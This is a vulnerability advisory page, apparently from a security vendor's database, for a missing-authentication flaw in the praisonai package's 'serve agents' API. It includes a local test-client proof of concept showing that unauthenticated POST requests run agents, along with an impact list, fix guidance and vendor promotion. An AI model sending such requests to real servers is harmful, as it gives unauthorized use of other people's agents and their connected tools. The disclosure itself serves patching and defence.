Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-55534 — praisonai

HIGHFix: MervinPraison/PraisonAI@2f9677a

CVE-2026-55534 is a high-severity (CVSS 8.6) Missing Authentication vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.

PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution

Also known asGHSA-7ww9-85pg-cv4xPYSEC-2026-3887
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55534.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs37th percentile — riskier than 37% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-55534 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 384,993 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

PraisonAI's praisonai serve agents command exposes --api-key as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints.

An operator can start the server with --api-key and bind it to 0.0.0.0, but any network- reachable caller can still invoke agents through POST /agents or POST /agents/ {agent_name} without Authorization, X-API-Key, a query token, or any other credential.

Confirmed vulnerable:

  • v4.6.48 / commit d5f1114aaf1a2e9f121a6e66b929149ca2201f1d
  • v4.6.34 / commit e5928449f73f66cc8af1de61621aa974ab255133

Likely affected range: >= 4.6.34, <= 4.6.48.

This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask api_server.py path before 4.6.34. This report concerns the newer FastAPI serve agents --api-key code path and is confirmed in v4.6.48.

Details

The CLI accepts and forwards an API key:

  • src/praisonai/praisonai/cli/commands/serve.py:156 defines praisonai serve agents
  • src/praisonai/praisonai/cli/commands/serve.py:162 exposes --api-key
  • src/praisonai/praisonai/cli/commands/serve.py:175-176 forwards the supplied key
  • src/praisonai/praisonai/cli/features/serve.py:191 handles the agents subcommand
  • src/praisonai/praisonai/cli/features/serve.py:199 parses api_key into the config

However, _create_agents_app() never uses config["api_key"] to create middleware or a FastAPI auth dependency:

  • src/praisonai/praisonai/cli/features/serve.py:228 creates the FastAPI app
  • src/praisonai/praisonai/cli/features/serve.py:287 registers POST {path} with no auth dependency
  • src/praisonai/praisonai/cli/features/serve.py:346 registers POST /agents/{agent_name} with no auth dependency
  • src/praisonai/praisonai/cli/features/serve.py:356-370 executes the registered agent directly

The same app also mounts praisonai.api.agent_invoke, whose /api/v1/agents/{agent_id}/ invoke route is protected separately by CALL_SERVER_TOKEN. That means the protected / api/v1 route and the unauthenticated /agents compatibility routes coexist in the same server. Setting --api-key does not protect the compatibility routes.

PoC

This local-only PoC does not open a network listener and does not call an LLM provider. It constructs the FastAPI app through the real ServeHandler._create_agents_app() path with api_key set, registers a fake agent, and sends an unauthenticated request using FastAPI TestClient.

#!/usr/bin/env python3
from __future__ import annotations

import sys
import tempfile
from pathlib import Path

REPO = Path("/path/to/PraisonAI")
sys.path[:0] = [
    str(REPO / "src" / "praisonai"),
    str(REPO / "src" / "praisonai-agents"),
]

class FakeAgent:
    def __init__(self):
        self.calls = []

    def start(self, query):
        self.calls.append(query)
        return f"fake-agent-ran:{query}"

def main() -> None:
    from fastapi.testclient import TestClient
    from praisonai.cli.features.serve import ServeHandler
    from praisonai.api import agent_invoke

    with tempfile.TemporaryDirectory() as tmp:
        agents_yaml = Path(tmp) / "agents.yaml"
        agents_yaml.write_text(
            "roles:\n"
            "  placeholder:\n"
            "    role: Placeholder\n"
            "    goal: Placeholder\n"
            "    backstory: Placeholder\n",
            encoding="utf-8",
        )

        handler = ServeHandler()
        app = handler._create_agents_app(
            {
                "file": str(agents_yaml),
                "host": "0.0.0.0",
                "port": 8000,
                "path": "/agents",
                "reload": False,
                "api_key": "operator-secret-api-key",
            }
        )

        fake_agent = FakeAgent()
        agent_invoke.register_agent("poc", fake_agent)

        client = TestClient(app)
        response = client.post(
            "/agents/poc",
            json={"query": "unauthenticated request"},
        )

        print(f"STATUS_CODE={response.status_code}")
        print(f"RESPONSE_JSON={response.json()!r}")
        print(f"AGENT_CALLS={fake_agent.calls!r}")
        print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated
        request']}")

if __name__ == "__main__":
    main()

Run:

cd /path/to/PraisonAI
python3 praisonai-serve-agents-api-key-bypass.py

Observed output:

STATUS_CODE=200
RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'}
AGENT_CALLS=['unauthenticated request']
UNAUTHENTICATED_AGENT_EXECUTED=True

The important condition is that the app was configured with:

"api_key": "operator-secret-api-key"

but the request was sent without any auth header:

client.post("/agents/poc", json={"query": "unauthenticated request"})

The agent still executed and returned HTTP 200.

### Impact

Any attacker who can reach a praisonai serve agents server can invoke configured agents even
when the operator explicitly configured --api-key.

Impact depends on the configured agents and their tools, but can include:

- unauthorized LLM/API usage and provider cost consumption;
- execution of agent workflows;
- access to connected tool integrations;
- reads/writes through file, database, cloud, browser, MCP, or messaging tools;
- availability impact from repeated or long-running agent invocations.

This is especially risky because the documented production pattern recommends using --api-
key when binding the server publicly.

### Suggested fix

Fail closed when --api-key is configured and require it on every agent invocation route in
the serve agents app.

Recommended changes:

- In _create_agents_app(), derive an auth dependency from config.get("api_key").
- Apply it to both POST {path} and POST /agents/{agent_name}.
- Prefer Authorization: Bearer <api_key>. Optionally also support X-API-Key for
  compatibility.

- Use constant-time comparison for the expected key.
- Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN.
- Add tests proving:
    - key configured + no header returns 401/403;
    - key configured + wrong header returns 401/403;
    - key configured + correct header executes;
    - both /agents and /agents/{agent_name} are covered.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonai≥ 4.6.34&&< 4.6.584.6.58pip install --upgrade 'praisonai==4.6.58'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonai to 4.6.58 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55534 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary PraisonAI's `praisonai serve agents` command exposes `--api-key` as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints. An operator can start the server with `--api-key` and bind it to `0.0.0.0`, but any network- reachable caller can still invoke agents through `POST /agents` or `POST /agents/ {agent_name}` without `Authorization`, `X-API-Key`, a query token, or any other credential. Confirmed vulnerable: - v4.6.48 / commit `d5f1114aaf1a2e9f121a6e
O3 Security · Impact-Aware SCA

Is CVE-2026-55534 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-55534: praisonai — Fixed in 4.6.58